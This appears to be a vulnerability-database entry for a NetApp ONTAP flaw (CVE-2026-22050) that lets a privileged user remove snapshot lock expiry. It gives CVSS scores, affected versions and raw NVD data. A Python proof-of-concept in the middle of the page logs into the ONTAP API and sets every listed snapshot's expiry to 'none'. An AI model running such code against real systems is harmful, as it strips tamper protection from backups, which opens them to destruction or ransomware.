Security Vulnerability Report
中文
CVE-2026-22050 CVSS 4.3 MEDIUM

CVE-2026-22050

Published: 2026-01-12 18:15:49
Last Modified: 2026-01-22 17:58:22

Description

ONTAP versions 9.16.1 prior to 9.16.1P9 and 9.17.1 prior to 9.17.1P2 with snapshot locking enabled are susceptible to a vulnerability which could allow a privileged remote attacker to set the snapshot expiry time to none.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:netapp:ontap:9.16.1:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:netapp:ontap:9.16.1:p1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:netapp:ontap:9.16.1:p2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:netapp:ontap:9.16.1:p3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:netapp:ontap:9.16.1:p4:*:*:*:*:*:* - VULNERABLE
NetApp ONTAP 9.16.1 < 9.16.1P9
NetApp ONTAP 9.17.1 < 9.17.1P2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22050 PoC - NetApp ONTAP Snapshot Lock Bypass # This PoC demonstrates how a privileged remote attacker can set snapshot expiry to none import requests import json # Target ONTAP system configuration ONTAP_HOST = "target-ontap.example.com" ONTAP_USER = "attacker_user" ONTAP_PASS = "password" def exploit_snapshot_lock_bypass(): """ Exploit for CVE-2026-22050: ONTAP Snapshot Lock Configuration Vulnerability Allows privileged remote attacker to set snapshot expiry time to none """ # Step 1: Authenticate to ONTAP auth_url = f"https://{ONTAP_HOST}/api/auth/login" auth_data = { "username": ONTAP_USER, "password": ONTAP_PASS } session = requests.Session() resp = session.post(auth_url, json=auth_data, verify=False) if resp.status_code != 201: print(f"[-] Authentication failed: {resp.status_code}") return False print("[+] Authentication successful") # Step 2: List available snapshots volume_name = "vol1" # Target volume svm_name = "vs1" # Storage VM name list_url = f"https://{ONTAP_HOST}/api/storage/volumes/{volume_name}/snapshots" resp = session.get(list_url) if resp.status_code != 200: print(f"[-] Failed to list snapshots: {resp.status_code}") return False snapshots = resp.json().get('records', []) print(f"[+] Found {len(snapshots)} snapshots") # Step 3: Modify snapshot expiry time to 'none' (Exploit) for snapshot in snapshots: snap_uuid = snapshot.get('uuid') snap_name = snapshot.get('name') modify_url = f"https://{ONTAP_HOST}/api/storage/volumes/{volume_name}/snapshots/{snap_uuid}" # VULNERABLE: Setting expiry time to 'none' bypasses snapshot lock policy modify_data = { "expiry_time": "none" # This is the vulnerability } resp = session.patch(modify_url, json=modify_data) if resp.status_code in [200, 202]: print(f"[+] Successfully modified snapshot '{snap_name}' expiry to 'none'") else: print(f"[-] Failed to modify snapshot '{snap_name}': {resp.status_code}") return True if __name__ == "__main__": print("=" * 60) print("CVE-2026-22050 - NetApp ONTAP Snapshot Lock Bypass PoC") print("=" * 60) exploit_snapshot_lock_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22050", "sourceIdentifier": "[email protected]", "published": "2026-01-12T18:15:48.983", "lastModified": "2026-01-22T17:58:22.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ONTAP versions 9.16.1 prior to 9.16.1P9 and 9.17.1 prior to 9.17.1P2 with snapshot locking enabled are susceptible to a vulnerability which could allow a privileged remote attacker to set the snapshot expiry time to none."}, {"lang": "es", "value": "Las versiones de ONTAP 9.16.1 anteriores a 9.16.1P9 y 9.17.1 anteriores a 9.17.1P2 con el bloqueo de instantáneas habilitado son susceptibles a una vulnerabilidad que podría permitir a un atacante remoto privilegiado establecer el tiempo de caducidad de la instantánea en ninguno."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.16.1:-:*:*:*:*:*:*", "matchCriteriaId": "3F4EEB2C-B5F1-4FC0-BDCA-FC5D479A3D2D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.16.1:p1:*:*:*:*:*:*", "matchCriteriaId": "8503543F-FF0B-40DE-8073-5981BB4C417F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.16.1:p2:*:*:*:*:*:*", "matchCriteriaId": "03D060CA-5C40-4300-897A-D61F0CE3903E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.16.1:p3:*:*:*:*:*:*", "matchCriteriaId": "6487FE18-83D0-4FB4-B03B-1F40E3C683DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.16.1:p4:*:*:*:*:*:*", "matchCriteriaId": "642705FE-F97A-4371-B10D-682750C5C918"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.16.1:p5:*:*:*:*:*:*", "matchCriteriaId": "EACF23BF-CDD4-45C4-A60D-F2A020E243DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.16.1:p6:*:*:*:*:*:*", "matchCriteriaId": "4ECC94D1-F228-45FD-9AE3-EA29AA76CC9B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.16.1:p7:*:*:*:*:*:*", "matchCriteriaId": "05D4E5E5-9F21-42B5-9793-9107F7F0A769"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.16.1:p8:*:*:*:*:*:*", "matchCriteriaId": "6B40BBA5-F1A6-459F-8445-855F522B26A2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.17.1:-:*:*:*:*:*:*", "matchCriteriaId": "84FA12AE-00D5-4BAC-90D1-0B2003487DE9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netapp:ontap:9.17.1:p1:*:*:*:*:*:*", "matchCriteriaId": "B98EBF4C-1A89-488C-B6C7-7306DA6867E4"}]}]}], "references": [{"url": "https://security.netapp.com/advisory/NTAP-20260112-0001", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}